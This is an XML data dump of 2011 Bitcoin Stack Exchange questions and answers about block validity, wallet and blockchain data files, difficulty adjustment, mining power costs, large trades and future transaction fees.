  <row Id="848" PostTypeId="2" ParentId="846" CreationDate="2011-09-10T13:14:34.133" Score="12" Body="&lt;p&gt;Any block that contains an invalid transaction will be considered invalid &lt;em&gt;as a whole&lt;/em&gt;, and every other peer/miner will reject it. A miner must check that every transaction included in a block is valid, otherwise there is a high risk that all the hard work required to solve the block is just being wasted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any miner who disobeys the validity requirements (by considering some invalid block as valid, or some valid block as invalid) will be completely disregarded by the rest of the network, defeating the point of any mining activity. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Note&lt;/strong&gt;: Sending 1BTC with a fee of 1BTC is a perfectly valid transaction (even though it might be a mistake by &lt;em&gt;A&lt;/em&gt;). Of course, doing that, &lt;em&gt;A&lt;/em&gt; must own 2BTC and give them away, or the transaction can't possibly be valid.&lt;/p&gt;&#xA;" OwnerUserId="132" LastEditorUserId="132" LastEditDate="2011-09-12T08:31:54.150" LastActivityDate="2011-09-12T08:31:54.150" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="849" PostTypeId="2" ParentId="839" CreationDate="2011-09-10T14:13:01.687" Score="4" Body="&lt;p&gt;Wallet.dat is a Berkeley DB file.  You could check out &lt;a href=&quot;http://sourceforge.net/projects/libdb-dotnet/&quot; rel=&quot;nofollow&quot;&gt;Berkeley DB for .NET&lt;/a&gt; to see if it is able to read the file.&lt;/p&gt;&#xA;" OwnerUserId="326" LastActivityDate="2011-09-10T14:13:01.687" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="850" PostTypeId="2" ParentId="842" CreationDate="2011-09-10T14:27:26.033" Score="11" Body="&lt;p&gt;I don't believe anyone has published a detailed spec anywhere if that is what you are hoping for.  There is some information on the bitcoin wiki, but your best option is to review the existing implementations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Check out &lt;a href=&quot;http://code.google.com/p/bitcoinj/&quot;&gt;BitCoinJ&lt;/a&gt; (a from scratch bitcoin implementation in Java) and &lt;a href=&quot;http://code.google.com/p/bitcoinsharp/&quot;&gt;BitCoinSharp&lt;/a&gt; (a C# port of BitCoinJ).  They are not full implementations yet, but they are very far along and can do most of the tasks of a bitcoin client. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;No matter what language you plan to create your implementation in, looking at these is very valuable because they are very thoroughly commented and much easier to understand than the official C++ client.&lt;/p&gt;&#xA;" OwnerUserId="326" LastActivityDate="2011-09-10T14:27:26.033" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="851" PostTypeId="2" ParentId="846" CreationDate="2011-09-10T14:38:28.510" Score="2" Body="&lt;p&gt;If a miner includes a bad transaction (in your example, a person sending more BTC than they actually have), then the block will not be concidered valid by other bitcoin nodes and miners.  That means the block will not be built upon by the blockchain, and the miner will lose out on the 50 BTC generated from that block.&lt;/p&gt;&#xA;" OwnerUserId="326" LastEditorUserId="326" LastEditDate="2011-09-11T14:15:28.677" LastActivityDate="2011-09-11T14:15:28.677" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="852" PostTypeId="2" ParentId="780" CreationDate="2011-09-10T14:40:33.500" Score="0" Body="&lt;p&gt;Combine the suggestion from @David of pregenerating lots of address with &lt;a href=&quot;https://bitcoinnotify.com/&quot; rel=&quot;nofollow&quot;&gt;Bitcoin Notify&lt;/a&gt; and you can build a system that knows when someone has sent you bitcoins (as part of a checkout process, etc).&lt;/p&gt;&#xA;" OwnerUserId="326" LastActivityDate="2011-09-10T14:40:33.500" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="853" PostTypeId="1" AcceptedAnswerId="854" CreationDate="2011-09-10T16:13:07.630" Score="44" ViewCount="9963" Body="&lt;p&gt;What data do different Bitcoin .dat files contain? How about the other files in the same folder?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The wallet.dat file is somewhat documented and there are some ways to convert it to human-readable form, but I don't think the same can be said about the other files. What data do they store and how is it encoded?&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="47827" LastEditDate="2021-10-08T10:26:57.130" LastActivityDate="2021-10-08T10:26:57.130" Title="What do the different .dat files contain?" Tags="|blockchain|wallet|development|database|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="854" PostTypeId="2" ParentId="853" CreationDate="2011-09-10T16:28:08.757" Score="42" Body="&lt;p&gt;&lt;code&gt;wallet.dat&lt;/code&gt;, &lt;code&gt;addr.dat&lt;/code&gt; and &lt;code&gt;blkindex.dat&lt;/code&gt; are Berkeley Database files. They can be read using standard tools, but aren't human readable by themselves. &lt;code&gt;blk0001.dat&lt;/code&gt; (and additional blk000n.dat blocks) contain the blockchain itself, that's just a binary concatenation of the blocks.&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;wallet.dat&lt;/code&gt; contains your private keys, your address book, a copy of the transactions that send coins from or to one of your addresses, accounts, reserve keys, personal settings, and a pointer to the current best block.&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;addr.dat&lt;/code&gt; contains IP addresses of peers, both those you've connected to yourself or those you've only heard about. It has been replaced by peers.dat since 0.7.0&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;peers.dat&lt;/code&gt; contains the same information as addr.dat, but using an efficient custom format.&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;blkindex.dat&lt;/code&gt; contains an index of the blocks and transactions that can be found in all the &lt;code&gt;blk000n.dat&lt;/code&gt; files.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;I don't know about any standalone tools that convert &lt;code&gt;addr.dat&lt;/code&gt; and &lt;code&gt;blkindex.dat&lt;/code&gt; to human-readable form, although &lt;a href=&quot;http://blockexplorer.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;blockexplorer.com&lt;/a&gt; can be used to inspect the blockchain, and &lt;code&gt;addr.dat&lt;/code&gt; just contains IP addresses.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Update&lt;/strong&gt;: the data above is only valid before v0.8.0. As of v0.8.0, a new database structure (with associated filesystem layout) is used&#xA;for blocks and indexes.&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;See also:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Bitcoin.stackexchange.com&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/q/51435/13866&quot;&gt;Migration from Berkeley DB to LevelDB&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/q/11104/13866&quot;&gt;What is the database for?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/q/3173/13866&quot;&gt;What information does a wallet contain?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;Stackoverflow.com&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://stackoverflow.com/q/20442704/477035&quot;&gt;How to open local bitcoin database&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="208" LastEditorUserId="13866" LastEditDate="2021-10-08T10:03:31.187" LastActivityDate="2021-10-08T10:03:31.187" CommentCount="7" ContentLicense="CC BY-SA 4.0" />
  <row Id="855" PostTypeId="1" AcceptedAnswerId="857" CreationDate="2011-09-10T17:30:48.390" Score="60" ViewCount="32730" Body="&lt;p&gt;I've been told &quot;the network&quot; sets the difficulty level such that there will be one new block mined every ten minutes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I imagine the rich would instead prefer to keep difficulty as high as possible to prevent other people winning their 50 BTC and causing inflation, whereas the poor would prefer as low a difficulty as possible in order to get a greater share of the BTC available.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(By rich and poor, I mean only according to how many BTC someone has.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What's the force saying &quot;No, forget your petty self-interest and set the difficulty to 10 minutes.&quot;?&lt;/p&gt;&#xA;" OwnerUserId="324" LastEditorUserId="5406" LastEditDate="2016-01-21T10:09:04.833" LastActivityDate="2018-05-20T03:31:39.490" Title="What keeps the average block time at 10 minutes?" Tags="|security|economic-theory|difficulty|block-interval|mining-theory|" AnswerCount="4" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="856" PostTypeId="2" ParentId="780" CreationDate="2011-09-10T17:59:55.993" Score="0" Body="&lt;p&gt;This is an excellent service for precisely what you're seeking:  &lt;a href=&quot;http://www.bitcoinpayflow.com/&quot; rel=&quot;nofollow&quot;&gt;http://www.bitcoinpayflow.com/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="329" LastActivityDate="2011-09-10T17:59:55.993" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="857" PostTypeId="2" ParentId="855" CreationDate="2011-09-10T18:00:26.837" Score="63" Body="&lt;p&gt;The bitcoin network rules define which difficulty each block has. This is done through a simple formula that only depends on the block chain itself. This means that if you give me a blockchain with blocks 1 through N, I can tell you with 100% accuracy what the difficulty of block N+1 will need to be, and I can reject any block which has the wrong difficulty. This means it is not really &quot;the network&quot; deciding on a difficulty, but really &lt;strong&gt;each separate node calculating and enforcing it independently&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The actual formula is this: at every block N which is a multiple of 2016, look at the time stamps of the past 2015 blocks, and change the difficulty for what follows to old_difficulty*(2 weeks)/(time the past 2015 blocks took). Additional rules on which time stamps are allowed in blocks prevent cheating (mostly).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In short, by using a bitcoin client, you agree to its network rules, and those include the difficulty adjustment.&lt;/p&gt;&#xA;" OwnerUserId="208" LastEditorUserId="208" LastEditDate="2018-05-20T03:31:39.490" LastActivityDate="2018-05-20T03:31:39.490" CommentCount="10" ContentLicense="CC BY-SA 4.0" />
  <row Id="858" PostTypeId="2" ParentId="855" CreationDate="2011-09-10T18:00:40.040" Score="12" Body="&lt;p&gt;Each individual client checks the validity of each block it receives. If it receives an invalid block, it ignores that block as if it didn't exist.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you mine a block and other clients ignore it, you don't get your 50 Bitcoins. You only get to keep your 50 Bitcoins if the block you mined becomes a link in the accepted public chain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One of the first things that is checked by the client when it receives a block is that the block meets the difficulty target that it calculates based on how quickly blocks have been generated. If that client doesn't think that block meets the difficulty target that it calculated, then it ignores the block.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So you have to mine a block that other clients will accept, or you don't get your 50 Bitcoins.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2011-09-10T18:00:40.040" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="859" PostTypeId="2" ParentId="855" CreationDate="2011-09-10T19:28:45.743" Score="3" Body="&lt;p&gt;The difficulty is adjusted every 2016 blocks by the whole network so as to average the Bitcoin generation to a block every 10 minutes. If the coins were on average generated too fast since the last adjustment, the difficulty is increased, if they were generated too slow - it is decreased.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What the rich can only do is do their best to have the highest possible hashing speed. This would make them brake the block more often (they would earn more money), as well as increase the difficulty higher, so people with lower-end machines could not brake a block without using a pool in a reasonable time (as is the case currently).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What the rich can also do is hoard the Bitcoins, so their value would increase. Keep in mind that even if someone would own 99+% of all the Bitcoins the currency would still be as usable as with bigger pool of coins (Bitcoins currently can be divided to up to 8 decimal places, and there is nothing stopping a future implementation from dividing them up even further).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course if someone wants to depreciate the value he or she can undermine the trust people have in the coins. For example, the hacking of &lt;a href=&quot;https://mtgox.com/&quot; rel=&quot;nofollow&quot;&gt;Mt.Gox&lt;/a&gt; caused a lot of people to be more reserved when handling the coins.&#xA;On the other hand, if one wants to increase the value of Bitcoins, one should promote them, convince new people to invest in them and be a contributing member of the community.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2011-09-10T19:28:45.743" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="860" PostTypeId="2" ParentId="659" CreationDate="2011-09-10T19:41:01.893" Score="9" Body="&lt;p&gt;Exact Bitcoin timeline can be found &lt;a href=&quot;https://en.bitcoin.it/wiki/History&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As far as I understand the first blocks were mined by Satoshi himself (probably to ensure the protocol is working correctly). The only thing special about the genesis block is that it did not link to a previous block (there was none before it), unlike all following blocks. The original block is also distributed with the Bitcoin client, so they can track any following block back to the genesis block.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone can generate their own genesis block, but it will not be accepted as a part of the current block chain. Most notable non-official genesis block is the &lt;a href=&quot;https://en.bitcoin.it/wiki/Testnet&quot;&gt;testnet&lt;/a&gt; &lt;a href=&quot;http://blockexplorer.com/testnet/b/0&quot;&gt;genesis block&lt;/a&gt;. All Bitcoin-spinoff currencies also have their own genesis blocks.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2011-09-10T19:41:01.893" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="861" PostTypeId="1" AcceptedAnswerId="1140" CreationDate="2011-09-10T20:58:01.583" Score="6" ViewCount="811" Body="&lt;p&gt;The &lt;a href=&quot;https://en.bitcoin.it/wiki/Contracts&quot;&gt;wiki article on contracts&lt;/a&gt; talks about the best stuff you can do with delays and replacement. (Lock time and sequence numbers, respectively.) But according to the documentation, replacement isn't supported yet. Why not?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(If the answer is &quot;it's not implemented yet&quot;, why hasn't it been?)&lt;/p&gt;&#xA;" OwnerUserId="331" LastEditorDisplayName="user220" LastEditDate="2011-09-11T17:50:09.117" LastActivityDate="2014-05-13T16:32:54.040" Title="Why isn't transaction replacement supported?" Tags="|transactions|protocol|" AnswerCount="4" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="862" PostTypeId="2" ParentId="855" CreationDate="2011-09-10T21:48:22.727" Score="4" Body="&lt;p&gt;Software. The Bitcoin network runs on a set of previously-agreed-upon rules that are built into the Bitcoin client software.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One such rule is that the difficulty should be changed every 2016 blocks to make a new block take, on average, 10 minutes to mine. As the economics change, miners will startup and shutdown making the average block take more or less than 10 minutes to find but the next time another 2016th block is mined, the difficulty will again be re-adjusted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would actually reword your question as well since a block's difficulty isn't technically set to a time but a number. Instead you might want to ask, &quot;What keeps the average time to mine a block at 10 minutes?&quot;&lt;/p&gt;&#xA;" OwnerUserId="193" LastActivityDate="2011-09-10T21:48:22.727" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="863" PostTypeId="1" CreationDate="2011-09-10T22:15:33.453" Score="8" ViewCount="2227" Body="&lt;p&gt;I am curious about how to acquire a lot of bitcoins (or similarly move a lot of bitcoins) without hitting the bid/ask&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't care about blockexplorer, I am just curious about price discovery&lt;/p&gt;&#xA;&#xA;&lt;p&gt;are there any darkpools? could I just use an illiquid exchange and personally contact the counterparty and have them take the trade&lt;/p&gt;&#xA;&#xA;&lt;p&gt;options would be good too, this would make acquiring bitcoins at a certain strike easier as this is already a negotiation between the person on the other side of the contract&lt;/p&gt;&#xA;" OwnerUserId="332" LastEditorUserId="78" LastEditDate="2011-09-11T11:45:35.637" LastActivityDate="2021-06-08T18:17:17.200" Title="Can I buy/sell a lot of bitcoins without moving the price?" Tags="|exchanges|options|" AnswerCount="9" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="865" PostTypeId="2" ParentId="863" CreationDate="2011-09-10T23:29:48.163" Score="13" Body="&lt;p&gt;It won't work, no matter how you do it. If you acquire a lot of Bitcoins, that will mean that a lot of people who wanted to get rid of their Bitcoins no longer want to get rid of their Bitcoins. Thus, they will stop supplying them. The reduction in supply will move the bid/ask prices. It's fundamental economics and you can't change it.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2011-09-10T23:29:48.163" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="866" PostTypeId="2" ParentId="863" CreationDate="2011-09-11T00:52:51.923" Score="1" Body="&lt;p&gt;As David mentioned, the market price will be influenced regardless. If you would like to potentially minimize / delay your transaction's impact on the market, I can think of a few methods. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think the best way to obscure your buy would be to find someone in the #bitcoin-otc who is interested is selling a large quantity. You could then arrange some deal to not speak publicly about the transaction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think this might be what you are looking to do.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I could be wrong about this minimizing impact on the market price, David surely knows more about the economics end than I do.&lt;/p&gt;&#xA;" OwnerUserId="27" LastActivityDate="2011-09-11T00:52:51.923" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="867" PostTypeId="2" ParentId="861" CreationDate="2011-09-11T02:27:28.877" Score="1" Body="&lt;p&gt;it's not implemented yet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The protocol has these feature defined so they can be implemented in the future, but currently more important features are being worked on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Fork the repo and create a patch to add support :p&lt;/p&gt;&#xA;" OwnerUserId="39" LastActivityDate="2011-09-11T02:27:28.877" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="868" PostTypeId="2" ParentId="863" CreationDate="2011-09-11T02:56:00.873" Score="4" Body="&lt;p&gt;There is a way to acquire a lot of bitcoins without immediately affecting the price, and that is to buy mining equipment or contracts. Depending on the value of bitcoin and the cost of your contract, you may be able to acquire bitcoins for about the same amount as you would if you bought them on the open market, however, you would not acquire them instantly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are obviously other factors to consider when using this strategy.&lt;/p&gt;&#xA;" OwnerUserId="81" LastActivityDate="2011-09-11T02:56:00.873" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="869" PostTypeId="1" CreationDate="2011-09-11T04:16:17.717" Score="19" ViewCount="30650" Body="&lt;p&gt;I have a PC that is always on 24/7. I use it as an SSH and backup server, and it has a modest, not-too-great GPU that sits idle most of the time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hear a lot of talk about mining not being cost-effective for most people because electricity isn't free. However I'm already paying the electricity bill for my PC. I might as well let it sit and mine all day while it's on, right? Maybe help pay the electric bill?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or will mining increase my PC's power consumption so much that it's still not worth it?&lt;/p&gt;&#xA;" OwnerUserId="335" LastEditorUserId="5406" LastEditDate="2016-01-20T21:04:53.537" LastActivityDate="2018-01-13T05:48:42.210" Title="Will mining significantly increase the power consumption of my PC?" Tags="|energy-consumption|mining-hardware|cpu-mining|gpu-mining|" AnswerCount="5" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="870" PostTypeId="2" ParentId="869" CreationDate="2011-09-11T05:27:07.267" Score="19" Body="&lt;p&gt;Yes it will. The component you're likely to use for mining is your video card (GPU) which consumes very little power when idle but can consume a great deal under load. Check &lt;a href=&quot;http://pastebin.com/AvymGnMJ&quot;&gt;this list&lt;/a&gt; of common cards and consult the Watts (W) column for how many watts your card is likely to draw. Any card worth mining on will probably draw at least 100 Watts under full load. Depending on the electricity costs in your area, it may cost you more in electricity than your coins produced are worth. There is at least one good &lt;a href=&quot;http://www.alloscomp.com/bitcoin/calculator.php&quot;&gt;calculator&lt;/a&gt; to estimate your proceeds but you'll need to find out how much your local utility company charges per kilowatt-hour for electricity to determine if it's profitable. For reference Kilowatt-hours per day = Watts * 24 / 1000.&lt;/p&gt;&#xA;" OwnerUserId="22" LastActivityDate="2011-09-11T05:27:07.267" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="871" PostTypeId="2" ParentId="869" CreationDate="2011-09-11T05:28:37.263" Score="7" Body="&lt;p&gt;Yes, it consumes more power. You can see, for example, by using a notebook from the battery. Turn on mining and you will see how your battery time goes down.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But unfortunately I don't have any data to provide you (saying for example that mining will consume 10%, 20%, 50% more power energy)... That depends how power-efficient is your computer processor, motherboard, etc. Maybe you should get a &lt;a href=&quot;http://www.google.com/search?q=kill%20a%20watt&quot;&gt;Kill A Watt Electricity Usage Monitor&lt;/a&gt; and test 24 hours with and without the mining.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my opinion, if your computer is turned on all the time without high CPU usage, turn your mining on. If you are running a Unix-based OS, it should run on &lt;a href=&quot;http://en.wikipedia.org/wiki/Nice_%28Unix%29&quot;&gt;nice 19&lt;/a&gt; mode, which means that any other task that the processor receives will have higher priority -- so you can SSH and/or backup just fine.&lt;/p&gt;&#xA;" OwnerUserId="164" LastActivityDate="2011-09-11T05:28:37.263" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="873" PostTypeId="2" ParentId="869" CreationDate="2011-09-11T05:50:37.963" Score="4" Body="&lt;p&gt;It is very dependent on the type of video card you have.  &lt;a href=&quot;https://en.bitcoin.it/wiki/Mining_hardware_comparison&quot; rel=&quot;nofollow&quot;&gt;The mining hardware comparison&lt;/a&gt; has some solid info on watt/hashing power.  The short answer is yes, your power usage will go up a decent amount.&lt;/p&gt;&#xA;" OwnerUserId="14" LastActivityDate="2011-09-11T05:50:37.963" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="874" PostTypeId="2" ParentId="863" CreationDate="2011-09-11T08:47:51.140" Score="-2" Body="&lt;p&gt;High volume traders can apply for a &quot;dark net&quot; account with Mt. Gox. I believe you qualify for this type of account if you trade over 1,000 BTC per month. (Something like that, I can't find the exact specifications at first glance.) You can also make in-person trades of digital or physical wallets, which would be &quot;off the grid&quot; in the sense you are speaking of.&lt;/p&gt;&#xA;" OwnerUserId="110" LastActivityDate="2011-09-11T08:47:51.140" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="875" PostTypeId="1" AcceptedAnswerId="878" CreationDate="2011-09-11T10:11:22.017" Score="6" ViewCount="803" Body="&lt;p&gt;Is it possible to use Bitcoin client without &lt;code&gt;wallet.dat&lt;/code&gt; file, by entering your addresses and being able to see the balance, but without the ability to spend bitcoins? I know that it's possible to backup &lt;code&gt;wallet.dat&lt;/code&gt; and use another &lt;code&gt;wallet.dat&lt;/code&gt;, but in that way you don't see your transactions and balance and can't label your addresses etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it's not possible in official client (I believe it isn't), are there alternate clients that allow this? The point is to be able to backup &lt;code&gt;wallet.dat&lt;/code&gt; and plug it in only when spending bitcoins, but not lose the ability to see your transactions in the meantime.&lt;/p&gt;&#xA;" OwnerUserId="119" LastActivityDate="2011-09-12T03:11:04.323" Title="Bitcoin client which doesn't use wallet.dat?" Tags="|client|wallet|" AnswerCount="4" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="876" PostTypeId="1" AcceptedAnswerId="895" CreationDate="2011-09-11T11:02:44.390" Score="132" ViewCount="46203" Body="&lt;p&gt;Some people keep evangelizing that Bitcoin transaction fees are much lower than in PayPal or with credit cards.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, once nearly all 21 million bitcoins have been mined, the network will still have to be secured.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But &quot;miners&quot; can then no longer be rewarded by newly minted bitcoins. They will have to be rewarded by transaction fees.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I read that the market will find the equilibrium how much these transaction fees will be.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there any estimates or more concrete calculations about that? Is it even possible to foresee, as the &quot;degree of network security&quot; is a rather nebulous incentive for most (casual) users? Will they thus be enforced by the software? Will these fees better be absolute or relative to the amount of a single transfer?&lt;/p&gt;&#xA;" OwnerUserId="15" LastEditorUserId="5406" LastEditDate="2016-01-21T10:08:05.480" LastActivityDate="2017-05-25T14:54:12.227" Title="How much will transaction fees eventually be?" Tags="|transaction-fees|mining-reward|mining-theory|" AnswerCount="10" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="877" PostTypeId="2" ParentId="875" CreationDate="2011-09-11T11:03:54.250" Score="2" Body="&lt;p&gt;I don't think that it's possible to do anything like that using the official client.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.btcbalance.net&quot; rel=&quot;nofollow&quot;&gt;btcbalance.net&lt;/a&gt; is a service that lets you store a number of public addresses and view their balance and latest received payments online. I can't vouch for it though since I haven't used it myself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you don't want to give your addresses to anyone else you could always just store some links to blockexplorer. &lt;code&gt;http://blockexplorer.com/address/&amp;lt;your_address&amp;gt;&lt;/code&gt; will show you the balance and transactions of that address. That's not as convenient as a client/service doing it for you of course.&lt;/p&gt;&#xA;" OwnerUserId="105" LastActivityDate="2011-09-11T11:03:54.250" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="878" PostTypeId="2" ParentId="875" CreationDate="2011-09-11T11:17:12.067" Score="6" Body="&lt;p&gt;This is not exactly what you're asking for, but might be helpful. Bitcoin v0.4 supports encrypting wallet.dat, so you cannot spend without entering the password. Basically you would do something like:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;make a copy of wallet.dat&lt;/li&gt;&#xA;&lt;li&gt;encrypt your copy with Bitcoin client v0.4 and set a long random password (one you will easily forget)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Voila, you have just created your read-only wallet. Because of 100 keypool you will even see some new transactions made with original unencrypted wallet.dat&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can download Bitcoin v0.4rc2 &lt;a href=&quot;https://sourceforge.net/mailarchive/message.php?msg_id=28067765&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="23" LastActivityDate="2011-09-11T11:17:12.067" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="883" PostTypeId="2" ParentId="876" CreationDate="2011-09-11T12:48:48.457" Score="1" Body="&lt;p&gt;Most likely the fees asked for will be based on the transaction numbers. The miner's rig will need to be paid for (electricity, replacement parts, etc) for cost assumption is kind of hard to figure out until such a time as we know how many transactions will be going through once mining is complete.&lt;/p&gt;&#xA;" OwnerUserId="343" LastActivityDate="2011-09-11T12:48:48.457" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="885" PostTypeId="2" ParentId="823" CreationDate="2011-09-11T12:53:47.140" Score="0" Body="&lt;p&gt;Say what you will about how much of a bunch of jerks they are, but somethingawful has a huge bitcoin following. (Just not in the good sense!!)&lt;/p&gt;&#xA;" OwnerUserId="343" LastActivityDate="2011-09-11T12:53:47.140" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="886" PostTypeId="2" ParentId="869" CreationDate="2011-09-11T14:06:28.707" Score="4" Body="&lt;p&gt;The power consumption of your PC will greatly increase by mining for Bitcoins, especially if you are effectively mining with one or more GPU and mining 24/7. If you are not a full time miner, I suggest you mine at night when electricity is cheaper. Also there are things you can do to cut down on the electrical cost to mine, for instance use an overclocking utility like MSI Afterburner or Saphire Trixx to download clock the memory as low as it will safely go (I recommend 180) You dont need memory clock to mine for Bitcoins and a low Memory clock will lower your electrical usage and your heat output. Also there are small steps you can take for instance do not leave the monitor on while mining, mine with a headless system from a USB flash drive, put as many GPU's in one rig as you can etc.&lt;/p&gt;&#xA;" OwnerUserId="344" LastActivityDate="2011-09-11T14:06:28.707" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="887" PostTypeId="2" ParentId="823" CreationDate="2011-09-11T14:34:27.880" Score="-1" Body="&lt;p&gt;For people looking for a new way to connect with the Bitcoin world check out CoinConnect&#xA;www.CoinConnect.org - a full featured Bitcoin social network.&lt;/p&gt;&#xA;" OwnerUserId="344" LastActivityDate="2011-09-11T14:34:27.880" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="888" PostTypeId="1" CreationDate="2011-09-11T14:38:53.583" Score="9" ViewCount="962" Body="&lt;p&gt;This is a question for Bitcoin miners. High cost of electricity can really cut down on the profitability of Bitcoin mining. I want to know what geographic location has the cheapest electricity and thus most profitable Bitcoin mining in the world?&lt;/p&gt;&#xA;&#xA;&#xA;" OwnerUserId="344" LastEditorUserId="5406" LastEditDate="2016-01-20T21:03:57.797" LastActivityDate="2016-01-20T21:03:57.797" Title="Where in the world is bitcoin mining the most profitiable?" Tags="|mining-profitability|energy-consumption|" AnswerCount="2" CommentCount="2" ClosedDate="2011-09-13T01:15:02.633" ContentLicense="CC BY-SA 3.0" />
